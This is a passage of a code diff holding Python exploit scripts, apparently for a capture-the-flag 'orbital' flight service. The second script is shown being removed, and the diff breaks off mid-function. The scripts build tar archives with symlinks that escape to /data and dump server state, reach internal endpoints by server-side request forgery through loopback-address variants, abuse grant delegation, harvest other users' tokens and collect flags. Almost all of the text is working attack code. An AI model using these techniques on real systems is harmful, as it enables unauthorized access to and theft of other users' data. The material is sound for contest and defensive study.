regular_tar("report.txt", b"approved"),
|
||||
)
|
||||
rpc(base, "approve_package", token=context["token"], package_id=context["package_id"])
|
||||
upload_package(
|
||||
base,
|
||||
context["package_id"],
|
||||
context["token"],
|
||||
state_dump_tar(context["flight_id"]),
|
||||
)
|
||||
restore_needed = True
|
||||
try:
|
||||
try:
|
||||
rpc(
|
||||
base,
|
||||
"generate_report",
|
||||
token=context["token"],
|
||||
package_id=context["package_id"],
|
||||
attachment="report.txt",
|
||||
)
|
||||
except ExploitError as exc:
|
||||
# These checks reject the package before extracting the symlink.
|
||||
if "package not approved" in str(exc) or "unsafe package" in str(exc):
|
||||
restore_needed = False
|
||||
raise
|
||||
|
||||
# The first persist copies state into our navigation file. The second
|
||||
# immediately replaces state.json with a regular file. Read the copy
|
||||
# only after both writes, keeping the symlink window as short as possible.
|
||||
trigger_persist(base, context)
|
||||
trigger_persist(base, context)
|
||||
restore_needed = False
|
||||
result = rpc(
|
||||
base,
|
||||
"read_navigation",
|
||||
_response_limit=MAX_STATE_RESPONSE,
|
||||
token=context["token"],
|
||||
flight_id=context["flight_id"],
|
||||
)
|
||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||
if not isinstance(navigation, str):
|
||||
raise ExploitError("state dump: missing navigation")
|
||||
return navigation
|
||||
finally:
|
||||
if restore_needed:
|
||||
# An ambiguous timeout may occur before the first write is handled.
|
||||
# In that case one successful write copies state through the link;
|
||||
# the next successful write is needed to replace the link itself.
|
||||
confirmed = 0
|
||||
for attempt in range(5):
|
||||
try:
|
||||
trigger_persist(base, context)
|
||||
confirmed += 1
|
||||
if confirmed == 2:
|
||||
break
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr)
|
||||
if confirmed < 2:
|
||||
raise ExploitError("state persistence cleanup not confirmed")
|
||||
|
||||
|
||||
def state_payloads(state) -> list[str]:
|
||||
values: list[str] = []
|
||||
messages = state.get("messages", {})
|
||||
if isinstance(messages, dict):
|
||||
for items in messages.values():
|
||||
if isinstance(items, list):
|
||||
values.extend(item for item in items if isinstance(item, str))
|
||||
jobs = state.get("jobs", {})
|
||||
if isinstance(jobs, dict):
|
||||
for job in jobs.values():
|
||||
result = job.get("result") if isinstance(job, dict) else None
|
||||
if isinstance(result, list):
|
||||
values.extend(item for item in result if isinstance(item, str))
|
||||
flights = state.get("flights", {})
|
||||
if isinstance(flights, dict):
|
||||
for flight in flights.values():
|
||||
if not isinstance(flight, dict):
|
||||
continue
|
||||
for key in ("geometry", "map_version", "options", "manifest"):
|
||||
value = flight.get(key)
|
||||
if isinstance(value, str):
|
||||
values.append(value)
|
||||
summaries = state.get("summaries", {})
|
||||
if isinstance(summaries, dict):
|
||||
for summary in summaries.values():
|
||||
content = summary.get("content") if isinstance(summary, dict) else None
|
||||
if isinstance(content, str):
|
||||
values.append(content)
|
||||
imports = state.get("imports", {})
|
||||
if isinstance(imports, dict):
|
||||
for item in imports.values():
|
||||
if isinstance(item, list) and len(item) == 2 and isinstance(item[1], str):
|
||||
values.append(item[1])
|
||||
return values
|
||||
|
||||
|
||||
def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None:
|
||||
result = rpc(base, "read_navigation", token=token, flight_id=flight_id)
|
||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||
return navigation if isinstance(navigation, str) else None
|
||||
|
||||
|
||||
def exploit_host_only(base: str, deadline: float) -> list[str]:
|
||||
context = load_context(base)
|
||||
if context is None:
|
||||
context = create_host_context(base)
|
||||
try:
|
||||
raw_state = dump_state(base, context)
|
||||
except ExploitError as exc:
|
||||
stale_markers = (
|
||||
"invalid token",
|
||||
"unknown ship",
|
||||
"unknown profile",
|
||||
"unknown flight",
|
||||
"unknown package",
|
||||
"File exists",
|
||||
)
|
||||
if not any(marker in str(exc) for marker in stale_markers):
|
||||
raise
|
||||
discard_context(base)
|
||||
context = create_host_context(base)
|
||||
raw_state = dump_state(base, context)
|
||||
try:
|
||||
state = json.loads(raw_state)
|
||||
except ValueError as exc:
|
||||
raise ExploitError("state dump: invalid JSON") from exc
|
||||
if not isinstance(state, dict):
|
||||
raise ExploitError("state dump: invalid state")
|
||||
loot = state_payloads(state)
|
||||
users = state.get("users", {})
|
||||
flights = state.get("flights", {})
|
||||
owner_tokens = {}
|
||||
if isinstance(users, dict):
|
||||
for token, owner in users.items():
|
||||
if isinstance(token, str) and isinstance(owner, str):
|
||||
owner_tokens.setdefault(owner, token)
|
||||
known_flights = set(context.get("known_flights", []))
|
||||
read_flights = set(context.get("read_flights", []))
|
||||
candidates: list[tuple[int, str, str]] = []
|
||||
if isinstance(flights, dict):
|
||||
for flight_id, flight in flights.items():
|
||||
if not isinstance(flight_id, str) or not isinstance(flight, dict):
|
||||
continue
|
||||
if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER:
|
||||
continue
|
||||
if flight_id in read_flights:
|
||||
continue
|
||||
token = owner_tokens.get(flight.get("owner"))
|
||||
if not isinstance(token, str):
|
||||
continue
|
||||
candidates.append((0 if flight_id not in known_flights else 1, flight_id, token))
|
||||
candidates.sort(key=lambda item: item[0])
|
||||
checked = 0
|
||||
pending = {}
|
||||
candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS])
|
||||
with ThreadPoolExecutor(max_workers=4) as pool:
|
||||
while time.monotonic() < deadline:
|
||||
while len(pending) < 4 and time.monotonic() < deadline:
|
||||
try:
|
||||
_, flight_id, token = next(candidate_iter)
|
||||
except StopIteration:
|
||||
break
|
||||
pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id
|
||||
checked += 1
|
||||
if not pending:
|
||||
break
|
||||
done, _ = wait(
|
||||
pending, timeout=max(0.0, deadline - time.monotonic()),
|
||||
return_when=FIRST_COMPLETED,
|
||||
)
|
||||
if not done:
|
||||
break
|
||||
for future in done:
|
||||
flight_id = pending.pop(future)
|
||||
try:
|
||||
navigation = future.result()
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError):
|
||||
continue
|
||||
if navigation is None:
|
||||
continue
|
||||
read_flights.add(flight_id)
|
||||
try:
|
||||
nested_state = json.loads(navigation)
|
||||
except ValueError:
|
||||
nested_state = None
|
||||
state_keys = {"users", "ships", "messages", "flights", "packages"}
|
||||
if isinstance(nested_state, dict) and state_keys.issubset(nested_state):
|
||||
loot.extend(state_payloads(nested_state))
|
||||
else:
|
||||
loot.append(navigation)
|
||||
for future in pending:
|
||||
future.cancel()
|
||||
if isinstance(flights, dict):
|
||||
context["known_flights"] = list(flights)
|
||||
context["read_flights"] = list(read_flights.intersection(flights))
|
||||
try:
|
||||
save_context(base, context)
|
||||
except OSError as exc:
|
||||
print(f"state cache unavailable: {exc}", file=sys.stderr)
|
||||
print(f"state dump navigation reads: {checked}", file=sys.stderr)
|
||||
sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item)
|
||||
return list(dict.fromkeys(item for item in sanitized if item))
|
||||
|
||||
|
||||
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
|
||||
status, raw = request(
|
||||
base,
|
||||
f"/packages/{quote(package_id, safe='')}/content",
|
||||
method="PUT",
|
||||
body=content,
|
||||
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/octet-stream"},
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError("package upload: invalid response") from exc
|
||||
if status != 200 or not document.get("ok"):
|
||||
raise ExploitError(f"package upload: {document.get('error', f'HTTP {status}')}")
|
||||
|
||||
|
||||
def exploit_flight_cache(base: str, flight_id: str) -> list[str]:
|
||||
token = register(base)
|
||||
public = rpc(base, "flight_public", token=token, flight_id=flight_id)
|
||||
marker = "orbital-probe-" + hashlib.sha256(flight_id.encode()).hexdigest()
|
||||
own = rpc(
|
||||
base,
|
||||
"create_flight",
|
||||
token=token,
|
||||
geometry=public["geometry"],
|
||||
map_version=public["map_version"],
|
||||
options=public["options"],
|
||||
manifest=marker,
|
||||
navigation=marker,
|
||||
)["flight_id"]
|
||||
report = rpc(base, "report", token=token, flight_id=own)
|
||||
manifest = report.get("manifest") if isinstance(report, dict) else None
|
||||
if isinstance(manifest, str) and manifest != marker:
|
||||
return [manifest]
|
||||
return []
|
||||
|
||||
|
||||
def exploit_flight_navigation(base: str, flight_id: str) -> list[str]:
|
||||
token = register(base)
|
||||
package_id = rpc(base, "create_package", token=token)["package_id"]
|
||||
upload_package(base, package_id, token, regular_tar("report.txt", b"approved"))
|
||||
rpc(base, "approve_package", token=token, package_id=package_id)
|
||||
upload_package(
|
||||
base,
|
||||
package_id,
|
||||
token,
|
||||
symlink_tar("report.txt", f"/data/navigation/{flight_id}.txt"),
|
||||
)
|
||||
generated = rpc(base, "generate_report", token=token, package_id=package_id, attachment="report.txt")
|
||||
navigation = generated.get("report") if isinstance(generated, dict) else None
|
||||
return [navigation] if isinstance(navigation, str) else []
|
||||
|
||||
|
||||
def exploit_summary(base: str, summary_id: str) -> list[str]:
|
||||
path = f"/internal/summaries/{quote(summary_id, safe='')}"
|
||||
status, raw = request(base, path, headers={"X-Importer-Key": IMPORTER_KEY})
|
||||
if status == 200:
|
||||
return [raw.decode("utf-8", errors="replace")]
|
||||
token = register(base)
|
||||
last_error = None
|
||||
for internal_host in (
|
||||
"0.0.0.0",
|
||||
"0",
|
||||
"0000",
|
||||
"0x0",
|
||||
"::ffff:127.0.0.1",
|
||||
"::ffff:7f00:1",
|
||||
"::ffff:0.0.0.0",
|
||||
):
|
||||
try:
|
||||
result = rpc(
|
||||
base,
|
||||
"import_bulletin",
|
||||
token=token,
|
||||
url=f"http://{internal_host}:8080{path}",
|
||||
)
|
||||
content = result.get("content") if isinstance(result, dict) else None
|
||||
if isinstance(content, str):
|
||||
return [content]
|
||||
except ExploitError as exc:
|
||||
last_error = exc
|
||||
if last_error:
|
||||
raise last_error
|
||||
return []
|
||||
|
||||
|
||||
def exploit_grant(base: str, flight_ids: list[str], grant_id: str) -> list[str]:
|
||||
token = register(base)
|
||||
child = rpc(
|
||||
base,
|
||||
"delegate",
|
||||
token=token,
|
||||
parent_id=grant_id,
|
||||
rights=["manifest.read"],
|
||||
expires=(1 << 63) - 1,
|
||||
)["grant_id"]
|
||||
for flight_id in flight_ids:
|
||||
try:
|
||||
result = rpc(base, "read_manifest", token=token, flight_id=flight_id, grant_id=child)
|
||||
manifest = result.get("manifest") if isinstance(result, dict) else None
|
||||
if isinstance(manifest, str):
|
||||
return [manifest]
|
||||
except ExploitError:
|
||||
continue
|
||||
return []
|
||||
|
||||
|
||||
def run_exploit(target: str) -> list[str]:
|
||||
started = time.monotonic()
|
||||
base, hint = parse_target(target)
|
||||
identifiers = list(dict.fromkeys(match.group(0).lower() for match in ID_PATTERN.finditer(hint)))
|
||||
if not identifiers:
|
||||
return exploit_host_only(base, started + TOTAL_RUNTIME)
|
||||
ships = [value for value in identifiers if value.startswith("ship-")][:MAX_OBJECTS]
|
||||
flights = [value for value in identifiers if value.startswith("flight-")][:MAX_OBJECTS]
|
||||
summaries = [value for value in identifiers if value.startswith("summary-")][:MAX_OBJECTS]
|
||||
grants = [value for value in identifiers if value.startswith("grant-")][:MAX_OBJECTS]
|
||||
loot: list[str] = []
|
||||
for ship_id in ships:
|
||||
try:
|
||||
loot.extend(exploit_ship(base, ship_id))
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"ship {ship_id}: {exc}", file=sys.stderr)
|
||||
for flight_id in flights:
|
||||
try:
|
||||
loot.extend(exploit_flight_cache(base, flight_id))
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"flight cache {flight_id}: {exc}", file=sys.stderr)
|
||||
try:
|
||||
loot.extend(exploit_flight_navigation(base, flight_id))
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"flight navigation {flight_id}: {exc}", file=sys.stderr)
|
||||
for summary_id in summaries:
|
||||
try:
|
||||
loot.extend(exploit_summary(base, summary_id))
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"summary {summary_id}: {exc}", file=sys.stderr)
|
||||
if flights and grants:
|
||||
for grant_id in grants:
|
||||
try:
|
||||
loot.extend(exploit_grant(base, flights, grant_id))
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"grant {grant_id}: {exc}", file=sys.stderr)
|
||||
return list(dict.fromkeys(item for item in loot if item))
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST[#CHECKER_HINT]", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
loot = run_exploit(sys.argv[1])
|
||||
base, _ = parse_target(sys.argv[1])
|
||||
flags, candidates, passes = fresh_flags(base, loot)
|
||||
except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
for flag in flags:
|
||||
print(flag, flush=True)
|
||||
print(
|
||||
f"collected values: {len(loot)}; flag candidates: {candidates}; "
|
||||
f"cache pass: {passes}; new flags: {len(flags)}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -1,677 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import io
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import signal
|
||||
import stat
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import time
|
||||
from contextlib import contextmanager
|
||||
from http.client import HTTPException
|
||||
from pathlib import Path
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, ProxyHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8086
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
TOTAL_RUNTIME = 8.0
|
||||
MAX_RESPONSE = 2 * 1024 * 1024
|
||||
MAX_STATE_RESPONSE = 32 * 1024 * 1024
|
||||
MAX_HINT_LENGTH = 8192
|
||||
MAX_NAVIGATION_READS = 16
|
||||
STATE_MARKER = "orbital-legacy-state"
|
||||
FLAG_PATTERN = re.compile(rb"(?<![A-Za-z0-9])[A-Z0-9]{31}=(?![A-Za-z0-9])")
|
||||
FLIGHT_PATTERN = re.compile(r"\bflight-[0-9a-f]{32}\b", re.IGNORECASE)
|
||||
SEEN_CACHE_VERSION = 1
|
||||
SEEN_WARMUP_PASSES = 0
|
||||
CONTEXT_PATTERNS = {
|
||||
"token": re.compile(r"token-[0-9a-f]{32}\Z"),
|
||||
"ship_id": re.compile(r"ship-[0-9a-f]{32}\Z"),
|
||||
"profile_id": re.compile(r"profile-[0-9a-f]{32}\Z"),
|
||||
"flight_id": re.compile(r"flight-[0-9a-f]{32}\Z"),
|
||||
"package_id": re.compile(r"package-[0-9a-f]{32}\Z"),
|
||||
}
|
||||
STALE_MARKERS = (
|
||||
"invalid token",
|
||||
"unknown ship",
|
||||
"unknown profile",
|
||||
"unknown flight",
|
||||
"unknown package",
|
||||
)
|
||||
|
||||
|
||||
class ExploitError(Exception):
|
||||
def __init__(self, action: str, detail: str = ""):
|
||||
super().__init__(f"{action}: request failed")
|
||||
self.action = action
|
||||
self.detail = detail
|
||||
|
||||
|
||||
class HardDeadlineExceeded(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
OPENER = build_opener(ProxyHandler({}), NoRedirects())
|
||||
|
||||
|
||||
def deadline_alarm(_signum, _frame):
|
||||
raise HardDeadlineExceeded("run deadline exceeded")
|
||||
|
||||
|
||||
@contextmanager
|
||||
def hard_timeout(seconds: float):
|
||||
if not hasattr(signal, "SIGALRM") or not hasattr(signal, "setitimer"):
|
||||
yield
|
||||
return
|
||||
previous = signal.signal(signal.SIGALRM, deadline_alarm)
|
||||
signal.setitimer(signal.ITIMER_REAL, seconds)
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
signal.setitimer(signal.ITIMER_REAL, 0)
|
||||
signal.signal(signal.SIGALRM, previous)
|
||||
|
||||
|
||||
def parse_target(raw_target: str) -> tuple[str, str]:
|
||||
raw = raw_target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
address, separator, encoded_hint = raw.partition("#")
|
||||
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||
if not address or len(hint) > MAX_HINT_LENGTH:
|
||||
raise ValueError("invalid target or hint")
|
||||
explicit_scheme = "://" in address
|
||||
if not explicit_scheme:
|
||||
authority = (
|
||||
f"[{address}]"
|
||||
if address.count(":") > 1 and not address.startswith("[")
|
||||
else address
|
||||
)
|
||||
address = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(address)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port
|
||||
if port is None:
|
||||
port = (
|
||||
443
|
||||
if explicit_scheme and parsed.scheme == "https"
|
||||
else 80 if explicit_scheme else SERVICE_PORT
|
||||
)
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||
|
||||
|
||||
def read_bounded(response, limit: int, deadline: float) -> bytes:
|
||||
chunks = []
|
||||
total = 0
|
||||
while total <= limit:
|
||||
if deadline - time.monotonic() <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
chunk = response.read(min(64 * 1024, limit + 1 - total))
|
||||
if not chunk:
|
||||
break
|
||||
chunks.append(chunk)
|
||||
total += len(chunk)
|
||||
raw = b"".join(chunks)
|
||||
if len(raw) > limit:
|
||||
raise ValueError("response too large")
|
||||
return raw
|
||||
|
||||
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
method: str = "GET",
|
||||
body: bytes | None = None,
|
||||
headers: dict[str, str] | None = None,
|
||||
response_limit: int = MAX_RESPONSE,
|
||||
) -> tuple[int, bytes]:
|
||||
remaining = deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
request_headers = {
|
||||
"Accept": "application/json",
|
||||
"User-Agent": "neo-orbital-legacy-state/1.0",
|
||||
}
|
||||
if headers:
|
||||
request_headers.update(headers)
|
||||
req = Request(base + path, data=body, headers=request_headers, method=method)
|
||||
try:
|
||||
with OPENER.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
return response.status, read_bounded(response, response_limit, deadline)
|
||||
except HTTPError as exc:
|
||||
with exc:
|
||||
return exc.code, read_bounded(exc, response_limit, deadline)
|
||||
|
||||
|
||||
def rpc(
|
||||
base: str,
|
||||
deadline: float,
|
||||
action: str,
|
||||
response_limit: int = MAX_RESPONSE,
|
||||
**fields,
|
||||
):
|
||||
body = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||
status, raw = request(
|
||||
base,
|
||||
"/rpc",
|
||||
deadline,
|
||||
method="POST",
|
||||
body=body,
|
||||
headers={"Content-Type": "application/json"},
|
||||
response_limit=response_limit,
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError(action, "invalid response") from exc
|
||||
if not isinstance(document, dict):
|
||||
raise ExploitError(action, "invalid response")
|
||||
if status != 200 or document.get("ok") is not True:
|
||||
detail = document.get("error")
|
||||
raise ExploitError(action, detail if isinstance(detail, str) else f"HTTP {status}")
|
||||
return document.get("result")
|
||||
|
||||
|
||||
def context_path(base: str) -> Path:
|
||||
configured = os.environ.get("ORBITAL_STATE_DIR")
|
||||
root = (
|
||||
Path(configured)
|
||||
if configured
|
||||
else Path(tempfile.gettempdir()) / "goctf-orbital-navigation-v2"
|
||||
)
|
||||
root.mkdir(mode=0o700, parents=True, exist_ok=True)
|
||||
if os.name != "nt":
|
||||
root.chmod(0o700)
|
||||
return root / (hashlib.sha256(base.encode()).hexdigest() + ".json")
|
||||
|
||||
|
||||
def seen_path(base: str) -> Path:
|
||||
return context_path(base).with_suffix(".flags.json")
|
||||
|
||||
|
||||
def load_seen_flags(base: str) -> tuple[int, set[str]] | None:
|
||||
path = seen_path(base)
|
||||
try:
|
||||
info = path.lstat()
|
||||
if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o077:
|
||||
return None
|
||||
document = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (FileNotFoundError, OSError, ValueError):
|
||||
return None
|
||||
if not isinstance(document, dict) or document.get("version") != SEEN_CACHE_VERSION:
|
||||
return None
|
||||
passes = document.get("passes")
|
||||
flags = document.get("flags")
|
||||
if not isinstance(passes, int) or passes < 0 or not isinstance(flags, list):
|
||||
return None
|
||||
values = {
|
||||
item
|
||||
for item in flags
|
||||
if isinstance(item, str) and FLAG_PATTERN.fullmatch(item.encode())
|
||||
}
|
||||
return passes, values
|
||||
|
||||
|
||||
def save_seen_flags(base: str, passes: int, flags: set[str]) -> None:
|
||||
path = seen_path(base)
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(
|
||||
{
|
||||
"version": SEEN_CACHE_VERSION,
|
||||
"passes": passes,
|
||||
"flags": sorted(flags),
|
||||
},
|
||||
handle,
|
||||
separators=(",", ":"),
|
||||
)
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def fresh_flags(base: str, current: list[str]) -> tuple[list[str], int, int]:
|
||||
candidates = set(current)
|
||||
cached = load_seen_flags(base)
|
||||
if cached is None:
|
||||
passes = 1
|
||||
seen: set[str] = set()
|
||||
else:
|
||||
previous_passes, seen = cached
|
||||
passes = previous_passes + 1
|
||||
fresh = sorted(candidates - seen) if passes > SEEN_WARMUP_PASSES else []
|
||||
save_seen_flags(base, passes, seen | candidates)
|
||||
return fresh, len(candidates), passes
|
||||
|
||||
|
||||
def valid_context(document, base: str) -> bool:
|
||||
return (
|
||||
isinstance(document, dict)
|
||||
and document.get("base") == base
|
||||
and all(
|
||||
isinstance(document.get(key), str)
|
||||
and pattern.fullmatch(document[key]) is not None
|
||||
for key, pattern in CONTEXT_PATTERNS.items()
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def load_context(base: str):
|
||||
path = context_path(base)
|
||||
try:
|
||||
if path.stat().st_size > 64 * 1024:
|
||||
return None
|
||||
document = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, ValueError):
|
||||
return None
|
||||
if not valid_context(document, base):
|
||||
return None
|
||||
return {key: document[key] for key in CONTEXT_PATTERNS}
|
||||
|
||||
|
||||
def save_context(base: str, context: dict[str, str]) -> None:
|
||||
path = context_path(base)
|
||||
document = {"base": base, **context}
|
||||
temporary = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
mode="w",
|
||||
encoding="utf-8",
|
||||
dir=path.parent,
|
||||
prefix=path.name + ".",
|
||||
delete=False,
|
||||
) as handle:
|
||||
temporary = Path(handle.name)
|
||||
json.dump(document, handle, separators=(",", ":"))
|
||||
if os.name != "nt":
|
||||
temporary.chmod(0o600)
|
||||
os.replace(temporary, path)
|
||||
finally:
|
||||
if temporary is not None:
|
||||
try:
|
||||
temporary.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def discard_context(base: str) -> None:
|
||||
try:
|
||||
context_path(base).unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def create_context(base: str, deadline: float) -> dict[str, str]:
|
||||
registered = rpc(base, deadline, "register")
|
||||
auth = registered.get("token") if isinstance(registered, dict) else None
|
||||
if not isinstance(auth, str):
|
||||
raise ExploitError("register", "missing token")
|
||||
ship = rpc(base, deadline, "create_ship", token=auth)
|
||||
ship_id = ship.get("ship_id") if isinstance(ship, dict) else None
|
||||
if not isinstance(ship_id, str):
|
||||
raise ExploitError("create_ship", "missing ship")
|
||||
profile = rpc(base, deadline, "create_profile", token=auth, ship_id=ship_id)
|
||||
profile_id = profile.get("profile_id") if isinstance(profile, dict) else None
|
||||
if not isinstance(profile_id, str):
|
||||
raise ExploitError("create_profile", "missing profile")
|
||||
flight = rpc(
|
||||
base,
|
||||
deadline,
|
||||
"create_flight",
|
||||
token=auth,
|
||||
geometry=STATE_MARKER,
|
||||
map_version=STATE_MARKER,
|
||||
options=STATE_MARKER,
|
||||
manifest=STATE_MARKER,
|
||||
navigation=STATE_MARKER,
|
||||
)
|
||||
flight_id = flight.get("flight_id") if isinstance(flight, dict) else None
|
||||
if not isinstance(flight_id, str):
|
||||
raise ExploitError("create_flight", "missing flight")
|
||||
package = rpc(base, deadline, "create_package", token=auth)
|
||||
package_id = package.get("package_id") if isinstance(package, dict) else None
|
||||
if not isinstance(package_id, str):
|
||||
raise ExploitError("create_package", "missing package")
|
||||
context = {
|
||||
"token": auth,
|
||||
"ship_id": ship_id,
|
||||
"profile_id": profile_id,
|
||||
"flight_id": flight_id,
|
||||
"package_id": package_id,
|
||||
}
|
||||
save_context(base, context)
|
||||
return context
|
||||
|
||||
|
||||
def regular_tar() -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
content = b"approved"
|
||||
entry = tarfile.TarInfo("report.txt")
|
||||
entry.size = len(content)
|
||||
archive.addfile(entry, io.BytesIO(content))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def state_dump_tar(flight_id: str) -> bytes:
|
||||
output = io.BytesIO()
|
||||
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||
escape = tarfile.TarInfo("escape")
|
||||
escape.type = tarfile.SYMTYPE
|
||||
escape.linkname = "/data"
|
||||
archive.addfile(escape)
|
||||
state_link = tarfile.TarInfo("escape/state.json.tmp")
|
||||
state_link.type = tarfile.SYMTYPE
|
||||
state_link.linkname = f"/data/navigation/{flight_id}.txt"
|
||||
archive.addfile(state_link)
|
||||
content = b"ok"
|
||||
report = tarfile.TarInfo("report.txt")
|
||||
report.size = len(content)
|
||||
archive.addfile(report, io.BytesIO(content))
|
||||
return output.getvalue()
|
||||
|
||||
|
||||
def upload_package(
|
||||
base: str, deadline: float, context: dict[str, str], content: bytes
|
||||
) -> None:
|
||||
status, raw = request(
|
||||
base,
|
||||
f"/packages/{quote(context['package_id'], safe='')}/content",
|
||||
deadline,
|
||||
method="PUT",
|
||||
body=content,
|
||||
headers={
|
||||
"Authorization": f"Bearer {context['token']}",
|
||||
"Content-Type": "application/octet-stream",
|
||||
},
|
||||
)
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ExploitError("package upload", "invalid response") from exc
|
||||
if status != 200 or not isinstance(document, dict) or document.get("ok") is not True:
|
||||
detail = document.get("error") if isinstance(document, dict) else "invalid response"
|
||||
raise ExploitError("package upload", detail if isinstance(detail, str) else "rejected")
|
||||
|
||||
|
||||
def read_navigation(
|
||||
base: str,
|
||||
deadline: float,
|
||||
token: str,
|
||||
flight_id: str,
|
||||
response_limit: int = MAX_RESPONSE,
|
||||
) -> str:
|
||||
result = rpc(
|
||||
base,
|
||||
deadline,
|
||||
"read_navigation",
|
||||
response_limit=response_limit,
|
||||
token=token,
|
||||
flight_id=flight_id,
|
||||
)
|
||||
navigation = result.get("navigation") if isinstance(result, dict) else None
|
||||
if not isinstance(navigation, str):
|
||||
raise ExploitError("read_navigation", "missing navigation")
|
||||
return navigation
|
||||
|
||||
|
||||
def decode_state(raw: str):
|
||||
try:
|
||||
document = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
return None
|
||||
required = {"users", "ships", "messages", "flights", "packages"}
|
||||
return document if isinstance(document, dict) and required.issubset(document) else None
|
||||
|
||||
|
||||
def trigger_pair(base: str, deadline: float, context: dict[str, str]) -> None:
|
||||
confirmed = 0
|
||||
attempts = 0
|
||||
last_error = None
|
||||
while confirmed < 2 and attempts < 5 and deadline - time.monotonic() > 0.25:
|
||||
attempts += 1
|
||||
try:
|
||||
rpc(
|
||||
base,
|
||||
deadline,
|
||||
"edit_profile",
|
||||
token=context["token"],
|
||||
profile_id=context["profile_id"],
|
||||
ship_id=context["ship_id"],
|
||||
)
|
||||
confirmed += 1
|
||||
except ExploitError:
|
||||
raise
|
||||
except (HTTPError, URLError, TimeoutError, HTTPException, OSError) as exc:
|
||||
last_error = exc
|
||||
if confirmed < 2:
|
||||
